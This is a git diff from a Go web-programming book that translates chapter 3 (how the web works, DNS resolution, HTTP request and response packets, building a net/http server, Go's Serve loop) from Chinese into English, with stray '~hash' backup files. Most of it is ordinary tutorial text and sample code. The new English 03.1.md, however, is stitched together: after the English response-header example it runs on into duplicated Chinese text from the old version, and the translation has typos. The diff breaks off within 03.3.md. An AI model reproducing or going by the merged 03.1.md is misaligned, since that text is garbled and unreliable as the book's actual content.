a/en/03.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/03.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..1442717e --- /dev/null +++ b/en/03.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,11 @@ +# 3 Web基础 + +学习基于Web的编程可能正是你读本书的原因。事实上,如何通过Go来编写Web应用也是我编写这本书的初衷。前面已经介绍过,Go目前已经拥有了成熟的HTTP处理包,这使得编写能做任何事情的动态Web程序易如反掌。在接下来的各章中将要介绍的内容,都是属于Web编程的范畴。本章则集中讨论一些与Web相关的概念和Go如何运行Web程序的话题。 + +## 目录 +![](images/navi3.png?raw=true) + +## links + * [目录]() + * 上一章: [第二章总结](<02.8.md>) + * 下一节: [Web工作方式](<03.1.md>) diff --git a/en/03.1.md b/en/03.1.md index 84dc87a4..d3dc03e3 100644 --- a/en/03.1.md +++ b/en/03.1.md @@ -1,160 +1,153 @@ -# 3.1 Web工作方式 - -我们平时浏览网页的时候,会打开浏览器,输入网址后按下回车键,然后就会显示出你想要浏览的内容。在这个看似简单的用户行为背后,到底隐藏了些什么呢? - -对于普通的上网过程,系统其实是这样做的:浏览器本身是一个客户端,当你输入URL的时候,首先浏览器会去请求DNS服务器,通过DNS获取相应的域名对应的IP,然后通过IP地址找到IP对应的服务器后,要求建立TCP连接,等浏览器发送完HTTP Request(请求)包后,服务器接收到请求包之后才开始处理请求包,服务器调用自身服务,返回HTTP Response(响应)包;客户端收到来自服务器的响应后开始渲染这个Response包里的主体(body),等收到全部的内容随后断开与该服务器之间的TCP连接。 - -![](images/3.1.web2.png?raw=true) - -图3.1 用户访问一个Web站点的过程 - - 一个Web服务器也被称为HTTP服务器,它通过HTTP协议与客户端通信。这个客户端通常指的是Web浏览器(其实手机端客户端内部也是浏览器实现的)。 - -Web服务器的工作原理可以简单地归纳为: - -- 客户机通过TCP/IP协议建立到服务器的TCP连接 -- 客户端向服务器发送HTTP协议请求包,请求服务器里的资源文档 -- 服务器向客户机发送HTTP协议应答包,如果请求的资源包含有动态语言的内容,那么服务器会调用动态语言的解释引擎负责处理“动态内容”,并将处理得到的数据返回给客户端 -- 客户机与服务器断开。由客户端解释HTML文档,在客户端屏幕上渲染图形结果 - -一个简单的HTTP事务就是这样实现的,看起来很复杂,原理其实是挺简单的。需要注意的是客户机与服务器之间的通信是非持久连接的,也就是当服务器发送了应答后就与客户机断开连接,等待下一次请求。 - -## URL和DNS解析 -我们浏览网页都是通过URL访问的,那么URL到底是怎么样的呢? - -URL(Uniform Resource Locator)是“统一资源定位符”的英文缩写,用于描述一个网络上的资源, 基本格式如下 - - scheme://host[:port#]/path/.../[?query-string][#anchor] - scheme 指定低层使用的协议(例如:http, https, ftp) - host HTTP服务器的IP地址或者域名 - port# HTTP服务器的默认端口是80,这种情况下端口号可以省略。如果使用了别的端口,必须指明,例如 http://www.cnblogs.com:8080/ - path 访问资源的路径 - query-string 发送给http服务器的数据 - anchor 锚 - - DNS(Domain Name System)是“域名系统”的英文缩写,是一种组织成域层次结构的计算机和网络服务命名系统,它用于TCP/IP网络,它从事将主机名或域名转换为实际IP地址的工作。DNS就是这样的一位“翻译官”,它的基本工作原理可用下图来表示。 - -![](images/3.1.dns_hierachy.png?raw=true) - -图3.2 DNS工作原理 - -更详细的DNS解析的过程如下,这个过程有助于我们理解DNS的工作模式 - -1. 在浏览器中输入www.qq.com域名,操作系统会先检查自己本地的hosts文件是否有这个网址映射关系,如果有,就先调用这个IP地址映射,完成域名解析。 - -2. 如果hosts里没有这个域名的映射,则查找本地DNS解析器缓存,是否有这个网址映射关系,如果有,直接返回,完成域名解析。 - -3. 如果hosts与本地DNS解析器缓存都没有相应的网址映射关系,首先会找TCP/IP参数中设置的首选DNS服务器,在此我们叫它本地DNS服务器,此服务器收到查询时,如果要查询的域名,包含在本地配置区域资源中,则返回解析结果给客户机,完成域名解析,此解析具有权威性。 - -4. 如果要查询的域名,不由本地DNS服务器区域解析,但该服务器已缓存了此网址映射关系,则调用这个IP地址映射,完成域名解析,此解析不具有权威性。 - -5. 如果本地DNS服务器本地区域文件与缓存解析都失效,则根据本地DNS服务器的设置(是否设置转发器)进行查询,如果未用转发模式,本地DNS就把请求发至 “根DNS服务器”,“根DNS服务器”收到请求后会判断这个域名(.com)是谁来授权管理,并会返回一个负责该顶级域名服务器的一个IP。本地DNS服务器收到IP信息后,将会联系负责.com域的这台服务器。这台负责.com域的服务器收到请求后,如果自己无法解析,它就会找一个管理.com域的下一级DNS服务器地址(qq.com)给本地DNS服务器。当本地DNS服务器收到这个地址后,就会找qq.com域服务器,重复上面的动作,进行查询,直至找到www.qq.com主机。 - -6. 如果用的是转发模式,此DNS服务器就会把请求转发至上一级DNS服务器,由上一级服务器进行解析,上一级服务器如果不能解析,或找根DNS或把转请求转至上上级,以此循环。不管是本地DNS服务器用是是转发,还是根提示,最后都是把结果返回给本地DNS服务器,由此DNS服务器再返回给客户机。 - -![](images/3.1.dns_inquery.png?raw=true) - -图3.3 DNS解析的整个流程 - -> 所谓 `递归查询过程` 就是 “查询的递交者” 更替, 而 `迭代查询过程` 则是 “查询的递交者”不变。 -> -> 举个例子来说,你想知道某个一起上法律课的女孩的电话,并且你偷偷拍了她的照片,回到寝室告诉一个很仗义的哥们儿,这个哥们儿二话没说,拍着胸脯告诉你,甭急,我替你查(此处完成了一次递归查询,即,问询者的角色更替)。然后他拿着照片问了学院大四学长,学长告诉他,这姑娘是xx系的;然后这哥们儿马不停蹄又问了xx系的办公室主任助理同学,助理同学说是xx系yy班的,然后很仗义的哥们儿去xx系yy班的班长那里取到了该女孩儿电话。(此处完成若干次迭代查询,即,问询者角色不变,但反复更替问询对象)最后,他把号码交到了你手里。完成整个查询过程。 - -通过上面的步骤,我们最后获取的是IP地址,也就是浏览器最后发起请求的时候是基于IP来和服务器做信息交互的。 - -## HTTP协议详解 - -HTTP协议是Web工作的核心,所以要了解清楚Web的工作方式就需要详细的了解清楚HTTP是怎么样工作的。 - -HTTP是一种让Web服务器与浏览器(客户端)通过Internet发送与接收数据的协议,它建立在TCP协议之上,一般采用TCP的80端口。它是一个请求、响应协议--客户端发出一个请求,服务器响应这个请求。在HTTP中,客户端总是通过建立一个连接与发送一个HTTP请求来发起一个事务。服务器不能主动去与客户端联系,也不能给客户端发出一个回调连接。客户端与服务器端都可以提前中断一个连接。例如,当浏览器下载一个文件时,你可以通过点击“停止”键来中断文件的下载,关闭与服务器的HTTP连接。 - -HTTP协议是无状态的,同一个客户端的这次请求和上次请求是没有对应关系,对HTTP服务器来说,它并不知道这两个请求是否来自同一个客户端。为了解决这个问题, Web程序引入了Cookie机制来维护连接的可持续状态。 - ->HTTP协议是建立在TCP协议之上的,因此TCP攻击一样会影响HTTP的通讯,例如比较常见的一些攻击:SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。 - -### HTTP请求包(浏览器信息) - -我们先来看看Request包的结构, Request包分为3部分,第一部分叫Request line(请求行), 第二部分叫Request header(请求头),第三部分是body(主体)。header和body之间有个空行,请求包的例子所示: - - GET /domains/example/ HTTP/1.1 //请求行: 请求方法 请求URI HTTP协议/协议版本 - Host:www.iana.org //服务端的主机名 - User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 //浏览器信息 - Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客户端能接收的mine - Accept-Encoding:gzip,deflate,sdch //是否支持流压缩 - Accept-Charset:UTF-8,*;q=0.5 //客户端字符编码集 - //空行,用于分割请求头和消息体 - //消息体,请求资源参数,例如POST传递的参数 - -HTTP协议定义了很多与服务器交互的请求方法,最基本的有4种,分别是GET,POST,PUT,DELETE。一个URL地址用于描述一个网络上的资源,而HTTP中的GET, POST, PUT, DELETE就对应着对这个资源的查,改,增,删4个操作。我们最常见的就是GET和POST了。GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。 - -通过fiddler抓包可以看到如下请求信息: - -![](images/3.1.http.png?raw=true) - -图3.4 fiddler抓取的GET信息 - -![](images/3.1.httpPOST.png?raw=true) - -图3.5 fiddler抓取的POST信息 - -我们看看GET和POST的区别: - -1. 我们可以看到GET请求消息体为空,POST请求带有消息体。 -2. GET提交的数据会放在URL之后,以`?`分割URL和传输数据,参数之间以`&`相连,如`EditPosts.aspx?name=test1&id=123456`。POST方法是把提交的数据放在HTTP包的body中。 -3. GET提交的数据大小有限制(因为浏览器对URL的长度有限制),而POST方法提交的数据没有限制。 -4. GET方式提交数据,会带来安全问题,比如一个登录页面,通过GET方式提交数据时,用户名和密码将出现在URL上,如果页面可以被缓存或者其他人可以访问这台机器,就可以从历史记录获得该用户的账号和密码。 - -### HTTP响应包(服务器信息) -我们再来看看HTTP的response包,他的结构如下: - - HTTP/1.1 200 OK //状态行 - Server: nginx/1.0.8 //服务器使用的WEB软件名及版本 - Date:Date: Tue, 30 Oct 2012 04:14:25 GMT //发送时间 - Content-Type: text/html //服务器发送信息的类型 - Transfer-Encoding: chunked //表示发送HTTP包是分段发的 - Connection: keep-alive //保持连接状态 - Content-Length: 90 //主体内容长度 - //空行 用来分割消息头和主体 - 网页优化方面有一项措施是减少HTTP请求次数,就是把尽量多的css和js资源合并在一起,目的是尽量减少网页请求静态资源的次数,提高网页加载速度,同时减缓服务器的压力。 - -## links - * [目录]() - * 上一节: [Web基础](<03.0.md>) - * 下一节: [Go搭建一个Web服务器](<03.2.md>) +# Web working principles + +Every time you open your browsers, type some URLs and press enter, you will see beautiful web pages appear on your screen. But do you know what is happening behind these simple actions? + +Normally, your browser is a client. After you type a URL, it takes the host part of the URL and sends it to a DNS server in order to get the IP address of the host. Then it connects to the IP address and asks to setup a TCP connection. The browser sends HTTP requests through the connection. The server server handles them and replies with HTTP responses containing the content that make up the web page. Finally, the browser renders bodies of the web pages and disconnects from the server. + +![](images/3.1.web2.png?raw=true) + +Figure 3.1 Processes of users visit a website + +A web server, also known as an HTTP server, uses the HTTP protocol to communicate with clients. All web browsers can be considered as clients. + +We can divide the web's working principles into the following steps: + +- Client uses TCP/IP protocol to connect to server. +- Client sends HTTP request packages to server. +- Server returns HTTP response packages to client. If the requested resources include dynamic scripts, server calls script engine first. +- Client disconnects from server, starts rendering HTML. + +This is a simple work flow of HTTP affairs -notice that the server closes connections after sending data to clients every time, then waits for the next request. + +## URL and DNS resolution + +We always use URLs to access web pages, but do you know how URLs work? + +The full name of a URL is Uniform Resource Locator. It's for describing resources on the internet and its basic form is as follows. + + scheme://host[:port#]/path/.../[?query-string][#anchor] + scheme assign underlying protocol (such as HTTP, HTTPS, FTP) + host IP or domain name of HTTP server + port# default port is 80, and it can be omitted in this case. If you want to use other ports, you must specify which port. For example, http://www.cnblogs.com:8080/ + path resources path + query-string data are sent to server + anchor anchor + +DNS is an abbreviation of Domain Name System. It's the naming system for computer network services, and it converts domain names to actual IP addresses, just like a translator. + +![](images/3.1.dns_hierachy.png?raw=true) + +Figure 3.2 DNS working principles + +To understand more about its working principle, let's see the detailed DNS resolution process as follows. + +1. After typing the domain name `www.qq.com` in the browser, the operating system will check if there are any mapping relationships in the hosts' files for this domain name. If so, then the domain name resolution is complete. +2. If no mapping relationships exist in the hosts' files, the operating system will check if any cache exists in the DNS. If so, then the domain name resolution is complete. +3. If no mapping relationships exist in both the host and DNS cache, the operating system finds the first DNS resolution server in your TCP/IP settings, which is likely your local DNS server. When the local DNS server receives the query, if the domain name that you want to query is contained within the local configuration of its regional resources, it returns the results to the client. This DNS resolution is authoritative. +4. If the local DNS server doesn't contain the domain name but a mapping relationship exists in the cache, the local DNS server gives back this result to the client. This DNS resolution is not authoritative. +5. If the local DNS server cannot resolve this domain name either by configuration of regional resources or cache, it will proceed to the next step, which depends on the local DNS server's settings. +-If the local DNS server doesn't enable forwarding, it routes the request to the root DNS server, then returns the IP address of a top level DNS server which may know the domain name, `.com` in this case. If the first top level DNS server doesn't recognize the domain name, it again reroutes the request to the next top level DNS server until it reaches one that recognizes the domain name. Then the top level DNS server asks this next level DNS server for the IP address corresponding to `www.qq.com`. +-If the local DNS server has forwarding enabled, it sends the request to an upper level DNS server. If the upper level DNS server also doesn't recognize the domain name, then the request keeps getting rerouted to higher levels until it finally reaches a DNS server which recognizes the domain name. + +Whether or not the local DNS server enables forwarding, the IP address of the domain name always returns to the local DNS server, and the local DNS server sends it back to the client. + +![](images/3.1.dns_inquery.png?raw=true) + +Figure 3.3 DNS resolution work flow + +`Recursive query process` simply means that the enquirers change in the process. Enquirers do not change in `Iterative query` processes. + +Now we know clients get IP addresses in the end, so the browsers are communicating with servers through IP addresses. + +## HTTP protocol + +The HTTP protocol is a core part of web services. It's important to know what the HTTP protocol is before you understand how the web works. + +HTTP is the protocol that is used to facilitate communication between browsers and web servers. It is based on the TCP protocol and usually uses port 80 on the side of the web server. It is a protocol that utilizes the request-response model -clients send requests and servers respond. According to the HTTP protocol, clients always setup new connections and send HTTP requests to servers. Servers are not able to connect to clients proactively, or establish callback connections. The connection between a client and a server can be closed by either side. For example, you can cancel your download request and HTTP connection and your browser will disconnect from the server before you finish downloading. + +The HTTP protocol is stateless, which means the server has no idea about the relationship between the two connections even though they are both from same client. To solve this problem, web applications use cookies to maintain the state of connections. + +Because the HTTP protocol is based on the TCP protocol, all TCP attacks will affect HTTP communications in your server. Examples of such attacks are SYN flooding, DoS and DDoS attacks. + +### HTTP request package (browser information) + +Request packages all have three parts: request line, request header, and body. There is one blank line between header and body. + + GET /domains/example/ HTTP/1.1 // request line: request method, URL, protocol and its version + Host:www.iana.org // domain name + User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 // browser information + Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 // mine that clients can accept + Accept-Encoding:gzip,deflate,sdch // stream compression + Accept-Charset:UTF-8,*;q=0.5 // character set in client side + // blank line + // body, request resource arguments (for example, arguments in POST) + +We use fiddler to get the following request information. + +![](images/3.1.http.png?raw=true) + +Figure 3.4 Information of a GET request caught by fiddler + +![](images/3.1.httpPOST.png?raw=true) + +Figure 3.5 Information of a POST request caught by fiddler + +**We can see that GET does not have a request body, unlike POST, which does.** + +There are many methods you can use to communicate with servers in HTTP; GET, POST, PUT and DELETE are the 4 basic methods that we typically use. A URL represents a resource on a network, so these 4 methods define the query, change, add and delete operations that can act on these resources. GET and POST are very commonly used in HTTP. GET can append query parameters to the URL, using `?` to separate the URL and parameters and `&` between the arguments, like `EditPosts.aspx?name=test1&id=123456`. POST puts data in the request body because the URL implements a length limitation via the browser. Thus, POST can submit much more data than GET. Also, when we submit user names and passwords, we don't want this kind of information to appear in the URL, so we use POST to keep them invisible. + +### HTTP response package (server information) + +Let's see what information is contained in the response packages. + + HTTP/1.1 200 OK // status line + Server: nginx/1.0.8 // web server software and its version in the server machine + Date:Date: Tue, 30 Oct 2012 04:14:25 GMT // responded time + Content-Type: text/html // responded data type + Transfer-Encoding: chunked // it means data were sent in fragments + Connection: keep-alive // keep connection + Content-Length: 90 // length of body + // blank line + 所谓 `递归查询过程` 就是 “查询的递交者” 更替, 而 `迭代查询过程` 则是 “查询的递交者”不变。 +> +> 举个例子来说,你想知道某个一起上法律课的女孩的电话,并且你偷偷拍了她的照片,回到寝室告诉一个很仗义的哥们儿,这个哥们儿二话没说,拍着胸脯告诉你,甭急,我替你查(此处完成了一次递归查询,即,问询者的角色更替)。然后他拿着照片问了学院大四学长,学长告诉他,这姑娘是xx系的;然后这哥们儿马不停蹄又问了xx系的办公室主任助理同学,助理同学说是xx系yy班的,然后很仗义的哥们儿去xx系yy班的班长那里取到了该女孩儿电话。(此处完成若干次迭代查询,即,问询者角色不变,但反复更替问询对象)最后,他把号码交到了你手里。完成整个查询过程。 + +通过上面的步骤,我们最后获取的是IP地址,也就是浏览器最后发起请求的时候是基于IP来和服务器做信息交互的。 + +## HTTP协议详解 + +HTTP协议是Web工作的核心,所以要了解清楚Web的工作方式就需要详细的了解清楚HTTP是怎么样工作的。 + +HTTP是一种让Web服务器与浏览器(客户端)通过Internet发送与接收数据的协议,它建立在TCP协议之上,一般采用TCP的80端口。它是一个请求、响应协议--客户端发出一个请求,服务器响应这个请求。在HTTP中,客户端总是通过建立一个连接与发送一个HTTP请求来发起一个事务。服务器不能主动去与客户端联系,也不能给客户端发出一个回调连接。客户端与服务器端都可以提前中断一个连接。例如,当浏览器下载一个文件时,你可以通过点击“停止”键来中断文件的下载,关闭与服务器的HTTP连接。 + +HTTP协议是无状态的,同一个客户端的这次请求和上次请求是没有对应关系,对HTTP服务器来说,它并不知道这两个请求是否来自同一个客户端。为了解决这个问题, Web程序引入了Cookie机制来维护连接的可持续状态。 + +>HTTP协议是建立在TCP协议之上的,因此TCP攻击一样会影响HTTP的通讯,例如比较常见的一些攻击:SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。 + +### HTTP请求包(浏览器信息) + +我们先来看看Request包的结构, Request包分为3部分,第一部分叫Request line(请求行), 第二部分叫Request header(请求头),第三部分是body(主体)。header和body之间有个空行,请求包的例子所示: + + GET /domains/example/ HTTP/1.1 //请求行: 请求方法 请求URI HTTP协议/协议版本 + Host:www.iana.org //服务端的主机名 + User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4 //浏览器信息 + Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 //客户端能接收的mine + Accept-Encoding:gzip,deflate,sdch //是否支持流压缩 + Accept-Charset:UTF-8,*;q=0.5 //客户端字符编码集 + //空行,用于分割请求头和消息体 + //消息体,请求资源参数,例如POST传递的参数 + +HTTP协议定义了很多与服务器交互的请求方法,最基本的有4种,分别是GET,POST,PUT,DELETE。一个URL地址用于描述一个网络上的资源,而HTTP中的GET, POST, PUT, DELETE就对应着对这个资源的查,改,增,删4个操作。我们最常见的就是GET和POST了。GET一般用于获取/查询资源信息,而POST一般用于更新资源信息。 + +通过fiddler抓包可以看到如下请求信息: + +![](images/3.1.http.png?raw=true) + +图3.4 fiddler抓取的GET信息 + +![](images/3.1.httpPOST.png?raw=true) + +图3.5 fiddler抓取的POST信息 + +我们看看GET和POST的区别: + +1. 我们可以看到GET请求消息体为空,POST请求带有消息体。 +2. GET提交的数据会放在URL之后,以`?`分割URL和传输数据,参数之间以`&`相连,如`EditPosts.aspx?name=test1&id=123456`。POST方法是把提交的数据放在HTTP包的body中。 +3. GET提交的数据大小有限制(因为浏览器对URL的长度有限制),而POST方法提交的数据没有限制。 +4. GET方式提交数据,会带来安全问题,比如一个登录页面,通过GET方式提交数据时,用户名和密码将出现在URL上,如果页面可以被缓存或者其他人可以访问这台机器,就可以从历史记录获得该用户的账号和密码。 + +### HTTP响应包(服务器信息) +我们再来看看HTTP的response包,他的结构如下: + + HTTP/1.1 200 OK //状态行 + Server: nginx/1.0.8 //服务器使用的WEB软件名及版本 + Date:Date: Tue, 30 Oct 2012 04:14:25 GMT //发送时间 + Content-Type: text/html //服务器发送信息的类型 + Transfer-Encoding: chunked //表示发送HTTP包是分段发的 + Connection: keep-alive //保持连接状态 + Content-Length: 90 //主体内容长度 + //空行 用来分割消息头和主体 + 网页优化方面有一项措施是减少HTTP请求次数,就是把尽量多的css和js资源合并在一起,目的是尽量减少网页请求静态资源的次数,提高网页加载速度,同时减缓服务器的压力。 + +## links + * [目录]() + * 上一节: [Web基础](<03.0.md>) + * 下一节: [Go搭建一个Web服务器](<03.2.md>) diff --git a/en/03.2.md b/en/03.2.md index da77eec0..af81f3ff 100644 --- a/en/03.2.md +++ b/en/03.2.md @@ -1,66 +1,65 @@ -# 3.2 Go搭建一个Web服务器 - -前面小节已经介绍了Web是基于http协议的一个服务,Go语言里面提供了一个完善的net/http包,通过http包可以很方便的就搭建起来一个可以运行的Web服务。同时使用这个包能很简单地对Web的路由,静态文件,模版,cookie等数据进行设置和操作。 - -## http包建立Web服务器 - - package main - - import ( - "fmt" - "net/http" - "strings" - "log" - ) - - func sayhelloName(w http.ResponseWriter, r *http.Request) { - r.ParseForm() //解析参数,默认是不会解析的 - fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息 - fmt.Println("path", r.URL.Path) - fmt.Println("scheme", r.URL.Scheme) - fmt.Println(r.Form["url_long"]) - for k, v := range r.Form { - fmt.Println("key:", k) - fmt.Println("val:", strings.Join(v, "")) - } - fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的 - } - - func main() { - http.HandleFunc("/", sayhelloName) //设置访问的路由 - err := http.ListenAndServe(":9090", nil) //设置监听的端口 - if err != nil { - log.Fatal("ListenAndServe: ", err) - } - } - -上面这个代码,我们build之后,然后执行web.exe,这个时候其实已经在9090端口监听http链接请求了。 - -在浏览器输入`http://localhost:9090` - -可以看到浏览器页面输出了`Hello astaxie!` - -可以换一个地址试试:`http://localhost:9090/?url_long=111&url_long=222` - -看看浏览器输出的是什么,服务器输出的是什么? - -在服务器端输出的信息如下: - -![](images/3.2.goweb.png?raw=true) - -图3.8 用户访问Web之后服务器端打印的信息 - -我们看到上面的代码,要编写一个Web服务器很简单,只要调用http包的两个函数就可以了。 - ->如果你以前是PHP程序员,那你也许就会问,我们的nginx、apache服务器不需要吗?Go就是不需要这些,因为他直接就监听tcp端口了,做了nginx做的事情,然后sayhelloName这个其实就是我们写的逻辑函数了,跟php里面的控制层(controller)函数类似。 - ->如果你以前是Python程序员,那么你一定听说过tornado,这个代码和他是不是很像,对,没错,Go就是拥有类似Python这样动态语言的特性,写Web应用很方便。 - ->如果你以前是Ruby程序员,会发现和ROR的/script/server启动有点类似。 - -我们看到Go通过简单的几行代码就已经运行起来一个Web服务了,而且这个Web服务内部有支持高并发的特性,我将会在接下来的两个小节里面详细的讲解一下Go是如何实现Web高并发的。 - -## links - * [目录]() - * 上一节: [Web工作方式](<03.1.md>) - * 下一节: [Go如何使得web工作](<03.3.md>) +# 3.2 Build a simple web server + +We've discussed that web applications are based on the HTTP protocol, and Go provides full HTTP support in the `net/http` package. It's very easy to set a web server up using this package. + +## Use http package setup a web server + + package main + + import ( + "fmt" + "net/http" + "strings" + "log" + ) + + func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() // parse arguments, you have to call this by yourself + fmt.Println(r.Form) // print form information in server side + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") // send data to client side + } + + func main() { + http.HandleFunc("/", sayhelloName) // set router + err := http.ListenAndServe(":9090", nil) // set listen port + if err != nil { + log.Fatal("ListenAndServe: ", err) + } + } + +After we execute the above code, the server begins listening to port 9090 in local host. + +Open your browser and visit `http://localhost:9090`. You can see that `Hello astaxie` is on your screen. + +Let's try another address with additional arguments: `http://localhost:9090/?url_long=111&url_long=222` + +Now let's see what happens on both the client and server sides. + +You should see the following information on the server side: + +![](images/3.2.goweb.png?raw=true) + +Figure 3.8 Server printed information + +As you can see, we only need to call two functions in order to build a simple web server. + +If you are working with PHP, you're probably asking whether or not we need something like Nginx or Apache. The answer is we no, since Go listens to the TCP port by itself, and the function `sayhelloName` is the logic function just like a controller in PHP. + +If you are working with Python you should know tornado, and the above example is very similar to that. + +If you are working with Ruby, you may notice it is like script/server in ROR. + +We used two simple functions to setup a simple web server in this section, and this simple server already has the capacity for high concurrency operations. We will talk about how to utilize this in the next two sections. + +## Links + +- [Directory](preface.md) +- Previous section: [Web working principles](03.1.md) +- Next section: [How Go works with web](03.3.md) diff --git a/en/03.2.md~380a8ee74c41759d8189ad553423467994187253 b/en/03.2.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..f926aeef --- /dev/null +++ b/en/03.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,66 @@ +# 3.2 Go搭建一个Web服务器 + +前面小节已经介绍了Web是基于http协议的一个服务,Go语言里面提供了一个完善的net/http包,通过http包可以很方便的就搭建起来一个可以运行的Web服务。同时使用这个包能很简单地对Web的路由,静态文件,模版,cookie等数据进行设置和操作。 + +## http包建立Web服务器 + + package main + + import ( + "fmt" + "net/http" + "strings" + "log" + ) + + func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //解析参数,默认是不会解析的 + fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息 + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) + } + fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的 + } + + func main() { + http.HandleFunc("/", sayhelloName) //设置访问的路由 + err := http.ListenAndServe(":9090", nil) //设置监听的端口 + if err != nil { + log.Fatal("ListenAndServe: ", err) + } + } + +上面这个代码,我们build之后,然后执行web.exe,这个时候其实已经在9090端口监听http链接请求了。 + +在浏览器输入`http://localhost:9090` + +可以看到浏览器页面输出了`Hello astaxie!` + +可以换一个地址试试:`http://localhost:9090/?url_long=111&url_long=222` + +看看浏览器输出的是什么,服务器输出的是什么? + +在服务器端输出的信息如下: + +![](images/3.2.goweb.png?raw=true) + +图3.8 用户访问Web之后服务器端打印的信息 + +我们看到上面的代码,要编写一个Web服务器很简单,只要调用http包的两个函数就可以了。 + +>如果你以前是PHP程序员,那你也许就会问,我们的nginx、apache服务器不需要吗?Go就是不需要这些,因为他直接就监听tcp端口了,做了nginx做的事情,然后sayhelloName这个其实就是我们写的逻辑函数了,跟php里面的控制层(controller)函数类似。 + +>如果你以前是Python程序员,那么你一定听说过tornado,这个代码和他是不是很像,对,没错,Go就是拥有类似Python这样动态语言的特性,写Web应用很方便。 + +>如果你以前是Ruby程序员,会发现和ROR的/script/server启动有点类似。 + +我们看到Go通过简单的几行代码就已经运行起来一个Web服务了,而且这个Web服务内部有支持高并发的特性,我将会在接下来的两个小节里面详细的讲解一下Go是如何实现Web高并发的。 + +## links + * [目录]() + * 上一节: [Web工作方式](<03.1.md>) + * 下一节: [Go如何使得web工作](<03.3.md>) diff --git a/en/03.3.md b/en/03.3.md index a0beed81..4c4a2717 100644 --- a/en/03.3.md +++ b/en/03.3.md @@ -1,87 +1,85 @@ -# 3.3 Go如何使得Web工作 -前面小节介绍了如何通过Go搭建一个Web服务,我们可以看到简单应用一个net/http包就方便的搭建起来了。那么Go在底层到底是怎么做的呢?万变不离其宗,Go的Web服务工作也离不开我们第一小节介绍的Web工作方式。 - -## web工作方式的几个概念 - -以下均是服务器端的几个概念 - -Request:用户请求的信息,用来解析用户的请求信息,包括post、get、cookie、url等信息 - -Response:服务器需要反馈给客户端的信息 - -Conn:用户的每次请求链接 - -Handler:处理请求和生成返回信息的处理逻辑 - -## 分析http包运行机制 - -如下图所示,是Go实现Web服务的工作模式的流程图 - -![](images/3.3.http.png?raw=true) - -图3.9 http包执行流程 - -1. 创建Listen Socket, 监听指定的端口, 等待客户端请求到来。 - -2. Listen Socket接受客户端的请求, 得到Client Socket, 接下来通过Client Socket与客户端通信。 - -3. 处理客户端的请求, 首先从Client Socket读取HTTP请求的协议头, 如果是POST方法, 还可能要读取客户端提交的数据, 然后交给相应的handler处理请求, handler处理完毕准备好客户端需要的数据, 通过Client Socket写给客户端。 - -这整个的过程里面我们只要了解清楚下面三个问题,也就知道Go是如何让Web运行起来了 - -- 如何监听端口? -- 如何接收客户端请求? -- 如何分配handler? - -前面小节的代码里面我们可以看到,Go是通过一个函数`ListenAndServe`来处理这些事情的,这个底层其实这样处理的:初始化一个server对象,然后调用了`net.Listen("tcp", addr)`,也就是底层用TCP协议搭建了一个服务,然后监控我们设置的端口。 - -下面代码来自Go的http包的源码,通过下面的代码我们可以看到整个的http处理过程: - - func (srv *Server) Serve(l net.Listener) error { - defer l.Close() - var tempDelay time.Duration // how long to sleep on accept failure - for { - rw, e := l.Accept() - if e != nil { - if ne, ok := e.(net.Error); ok && ne.Temporary() { - if tempDelay == 0 { - tempDelay = 5 * time.Millisecond - } else { - tempDelay *= 2 - } - if max := 1 * time.Second; tempDelay > max { - tempDelay = max - } - log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay) - time.Sleep(tempDelay) - continue - } - return e - } - tempDelay = 0 - c, err := srv.newConn(rw) - if err != nil { - continue - } - go c.serve() - } - } - -监控之后如何接收客户端的请求呢?上面代码执行监控端口之后,调用了`srv.Serve(net.Listener)`函数,这个函数就是处理接收客户端的请求信息。这个函数里面起了一个`for{}`,首先通过Listener接收请求,其次创建一个Conn,最后单独开了一个goroutine,把这个请求的数据当做参数扔给这个conn去服务:`go c.serve()`。这个就是高并发体现了,用户的每一次请求都是在一个新的goroutine去服务,相互不影响。 - -那么如何具体分配到相应的函数来处理请求呢?conn首先会解析request:`c.readRequest()`,然后获取相应的handler:`handler := c.server.Handler`,也就是我们刚才在调用函数`ListenAndServe`时候的第二个参数,我们前面例子传递的是nil,也就是为空,那么默认获取`handler = 